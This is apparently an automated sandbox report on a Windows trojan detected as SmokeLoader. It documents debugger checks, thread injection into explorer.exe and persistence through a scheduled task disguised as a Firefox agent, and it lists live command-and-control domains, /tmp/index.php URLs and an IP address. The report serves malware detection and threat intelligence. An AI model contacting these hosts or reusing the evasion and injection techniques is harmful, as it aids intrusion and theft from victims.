Source: C:\Users\user\AppData\Roaming\tcgiwaf	System information queried: CodeIntegrityInformation			Jump to behavior

Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Roaming\tcgiwaf

Code function: 7_2_0040540B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

7_2_0040540B

Source: C:\Users\user\AppData\Roaming\tcgiwaf

7_2_0040AE2E

Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Code function: 0_2_00531564 push dword ptr fs:[00000030h]	0_2_00531564
Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Code function: 0_2_0055092B mov eax, dword ptr fs:[00000030h]	0_2_0055092B
Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Code function: 0_2_00550D90 mov eax, dword ptr fs:[00000030h]	0_2_00550D90
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 5_2_0056092B mov eax, dword ptr fs:[00000030h]	5_2_0056092B
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 5_2_00560D90 mov eax, dword ptr fs:[00000030h]	5_2_00560D90
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 5_2_00621564 push dword ptr fs:[00000030h]	5_2_00621564

Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 7_2_0040540B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_0040540B
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 7_2_0040456C __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_0040456C
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 7_2_00408D38 SetUnhandledExceptionFilter,	7_2_00408D38
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: 7_2_00405FB4 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_00405FB4

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: tcgiwaf.1.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe

Network Connect: 211.171.233.126 80

Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Thread created: C:\Windows\explorer.exe EIP: 87D19D0			Jump to behavior
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Thread created: unknown EIP: 87F19D0			Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\2Qvkmk7HGr.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Source: explorer.exe, 00000001.00000000.1748268149.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1749490951.0000000004CE0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1752481052.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000001.00000000.1748268149.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000001.00000000.1748053995.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1Progman$
Source: explorer.exe, 00000001.00000000.1748268149.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000001.00000000.1748268149.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: GetLocaleInfoA,		7_2_0040FAF0
Source: C:\Users\user\AppData\Roaming\tcgiwaf	Code function: GetNumberFormatW,InterlockedIncrement,SetFileAttributesW,GetCommMask,GetNumberFormatW,GetLogicalDriveStringsA,VerifyVersionInfoW,GetComputerNameA,ClearCommError,InterlockedIncrement,EnumTimeFormatsA,GetTempFileNameA,_memset,CommConfigDialogW,ReadConsoleInputA,GetVersionExW,CreateActCtxW,InterlockedExchange,InterlockedExchangeAdd,GetShortPathNameW,GetCurrencyFormatW,GetLocaleInfoW,InterlockedIncrement,SetVolumeMountPointA,GlobalUnWire,CreateSemaphoreW,		7_2_004032A0

Source: C:\Users\user\AppData\Roaming\tcgiwaf

Code function: 7_2_00403560 GetNumberFormatW,CreateJobObjectA,GetTimeFormatW,GetNumberFormatW,CreateJobObjectA,GetConsoleAliasExesA,CreateNamedPipeW,SetFileShortNameW,CreateProcessW,GetTimeFormatW,GetModuleFileNameW,TlsGetValue,SetEnvironmentVariableW,GetTimeFormatW,GetModuleFileNameA,

7_2_00403560

Source: C:\Users\user\AppData\Roaming\tcgiwaf

Code function: 7_2_00409A64 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

7_2_00409A64

Source: C:\Users\user\AppData\Roaming\tcgiwaf

7_2_004032A0

Stealing of Sensitive Information

Yara detected SmokeLoader

Source: Yara match	File source: 00000000.00000002.1769193164.0000000002101000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1769009336.0000000000560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2005144387.00000000020F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2004823776.0000000000570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected SmokeLoader

Source: Yara match	File source: 00000000.00000002.1769193164.0000000002101000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1769009336.0000000000560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2005144387.00000000020F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2004823776.0000000000570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	33 Process Injection	11 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Virtualization/Sandbox Evasion	LSASS Memory	421 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	33 Process Injection	Security Account Manager	12 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	112 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	3 Process Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Hidden Files and Directories	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	115 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 File Deletion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
2Qvkmk7HGr.exe	39%	ReversingLabs
2Qvkmk7HGr.exe	41%	Virustotal		Browse
2Qvkmk7HGr.exe	100%	Avira	HEUR/AGEN.1306978
2Qvkmk7HGr.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\tcgiwaf	100%	Avira	HEUR/AGEN.1306978
C:\Users\user\AppData\Roaming\tcgiwaf	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\tcgiwaf	39%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
tnc-corp.ru	2%	Virustotal	Browse
liverds.at	5%	Virustotal	Browse
livbev.online	6%	Virustotal	Browse
volisc.biz	6%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://aka.ms/odirmr	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	0%	URL Reputation	safe
https://powerpoint.office.comcember	0%	URL Reputation	safe
https://api.msn.com:443/v1/news/Feed/Windows?	0%	URL Reputation	safe
https://excel.office.com	0%	URL Reputation	safe
http://schemas.micro	0%	URL Reputation	safe
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY	0%	URL Reputation	safe
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark	0%	URL Reputation	safe
https://api.msn.com/q	0%	URL Reputation	safe
https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc	0%	URL Reputation	safe
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	0%	URL Reputation	safe
https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark	0%	URL Reputation	safe
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg	0%	URL Reputation	safe
https://wns.windows.com/L	0%	URL Reputation	safe
https://word.office.com	0%	URL Reputation	safe
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu	0%	URL Reputation	safe
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	0%	URL Reputation	safe
https://aka.ms/Vh5j3k	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu	0%	URL Reputation	safe
https://api.msn.com/v1/news/Feed/Windows?&	0%	URL Reputation	safe
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark	0%	URL Reputation	safe
https://www.rd.com/list/polite-habits-campers-dislike/	0%	URL Reputation	safe
https://android.notify.windows.com/iOS	0%	URL Reputation	safe
https://api.msn.com/	0%	URL Reputation	safe
https://outlook.com_	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark	0%	URL Reputation	safe
https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe	0%	URL Reputation	safe
http://volisc.biz/tmp/index.php	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
tnc-corp.ru	211.171.233.126	true	true	2%, Virustotal, Browse	unknown
volisc.biz	unknown	unknown	true	6%, Virustotal, Browse	unknown
liverds.at	unknown	unknown	true	5%, Virustotal, Browse	unknown
livbev.online	unknown	unknown	true	6%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://volisc.biz/tmp/index.php	true	0%, Virustotal, Browse	unknown
http://livbev.online/tmp/index.php	true		unknown
http://liverds.at/tmp/index.php	true		unknown
http://tnc-corp.ru/tmp/index.php	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://aka.ms/odirmr	explorer.exe, 00000001.00000000.1749862002.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl	explorer.exe, 00000001.00000000.1749862002.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://powerpoint.office.comcember	explorer.exe, 00000001.00000000.1758674619.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000001.00000000.1752481052.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-	explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://excel.office.com	explorer.exe, 00000001.00000000.1758674619.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.micro	explorer.exe, 00000001.00000000.1753482488.0000000009B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1751138246.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1751529258.0000000008720000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we	explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY	explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark	explorer.exe, 00000001.00000000.1749862002.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi	explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://api.msn.com/q	explorer.exe, 00000001.00000000.1752481052.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc	explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	explorer.exe, 00000001.00000000.1758674619.000000000C893000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1	explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg	explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark	explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A	explorer.exe, 00000001.00000000.1749862002.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg	explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000001.00000000.1758674619.000000000C964000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://wns.windows.com/L	explorer.exe, 00000001.00000000.1758674619.000000000C557000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://word.office.com	explorer.exe, 00000001.00000000.1758674619.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu	explorer.exe, 00000001.00000000.1749862002.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent	explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win	explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-	explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://aka.ms/Vh5j3k	explorer.exe, 00000001.00000000.1749862002.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu	explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.msn.com/v1/news/Feed/Windows?&	explorer.exe, 00000001.00000000.1752481052.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg	explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark	explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.rd.com/list/polite-habits-campers-dislike/	explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://android.notify.windows.com/iOS	explorer.exe, 00000001.00000000.1758674619.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar	explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img	explorer.exe, 00000001.00000000.1749862002.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://api.msn.com/	explorer.exe, 00000001.00000000.1752481052.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d	explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://outlook.com_	explorer.exe, 00000001.00000000.1758674619.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark	explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com:443/en-us/feed	explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe	explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at	explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of	explorer.exe, 00000001.00000000.1749862002.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
211.171.233.126	tnc-corp.ru	Korea Republic of		3786	LGDACOMLGDACOMCorporationKR	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1538071
Start date and time:	2024-10-20 09:36:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2Qvkmk7HGr.exe renamed because original name is a hash value
Original Sample Name:	4bb69f9fad0620ecb64971676b9f2cbc.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@3/2@72/1
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 100% Number of executed functions: 28 Number of non-executed functions: 28
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.190.159.0, 20.190.159.64, 20.190.159.68, 20.190.159.4, 20.190.159.75, 20.190.159.71, 20.190.159.2, 40.126.31.67
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, login.live.com, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Execution Graph export aborted for target tcgiwaf, PID 5848 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
03:37:24	API Interceptor	392073x Sleep call for process: explorer.exe modified
08:37:23	Task Scheduler	Run new task: Firefox Default Browser Agent B5D95B271C8A718D path: C:\Users\user\AppData\Roaming\tcgiwaf

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
211.171.233.126	z2vfX2REnQ.exe	Get hash	malicious	SmokeLoader	Browse	tnc-corp.ru/tmp/index.php
	wxy6cQKIqG.exe	Get hash	malicious	SmokeLoader	Browse	tnc-corp.ru/tmp/index.php
	file.exe	Get hash	malicious	SmokeLoader	Browse	nwgrus.ru/tmp/index.php
	file.exe	Get hash	malicious	SmokeLoader	Browse	nwgrus.ru/tmp/index.php
	LavMqtzZNw.exe	Get hash	malicious	LummaC, SmokeLoader	Browse	movlat.com/tmp/
	uBgwoHPWaf.exe	Get hash	malicious	LummaC, CryptOne, LummaC Stealer, SmokeLoader, Vidar	Browse	dbfhns.in/tmp/index.php
	Jrkfds7rI5.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, Glupteba, LummaC Stealer, PureLog Stealer	Browse	sajdfue.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637
	SecuriteInfo.com.Win32.RansomX-gen.4067.126.exe	Get hash	malicious	LummaC, Amadey, Glupteba, LummaC Stealer, Mars Stealer, RedLine, SmokeLoader	Browse	kamsmad.com/tmp/index.php
	7leZRNBofA.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader, Socks5Systemz, Stealc	Browse	trmpc.com/check/index.php
	SKHOtnHl7J.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader, Socks5Systemz, Stealc	Browse	kamsmad.com/tmp/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
tnc-corp.ru	file.exe	Get hash	malicious	SmokeLoader	Browse	187.204.28.205
	Ypp1MuoIa1.exe	Get hash	malicious	SmokeLoader	Browse	190.220.21.28
	5iwz8543Xc.exe	Get hash	malicious	SmokeLoader	Browse	190.146.112.188
	file.exe	Get hash	malicious	SmokeLoader	Browse	185.12.79.25
	z2vfX2REnQ.exe	Get hash	malicious	SmokeLoader	Browse	186.193.139.53
	d8jsKv1X4Q.exe	Get hash	malicious	SmokeLoader	Browse	177.222.41.236
	PSyWSlhDa5.exe	Get hash	malicious	SmokeLoader	Browse	58.151.148.90
	wxy6cQKIqG.exe	Get hash	malicious	SmokeLoader	Browse	211.171.233.126
	H3CVATCJSD.exe	Get hash	malicious	SmokeLoader	Browse	211.181.24.132
	Y0KE01P97o.exe	Get hash	malicious	SmokeLoader	Browse	187.199.203.72

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LGDACOMLGDACOMCorporationKR	yakuza.m68k.elf	Get hash	malicious	Unknown	Browse	118.129.9.235
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	123.140.76.146
	sparc.elf	Get hash	malicious	Unknown	Browse	115.92.2.125
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	211.168.94.59
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	58.75.113.132
	mipsel.elf	Get hash	malicious	Unknown	Browse	112.217.33.43
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	1.220.134.192
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	58.78.205.83
	arm7.elf	Get hash	malicious	Unknown	Browse	106.244.84.80
	file.exe	Get hash	malicious	SmokeLoader	Browse	211.181.24.132

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Roaming\tcgiwaf

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
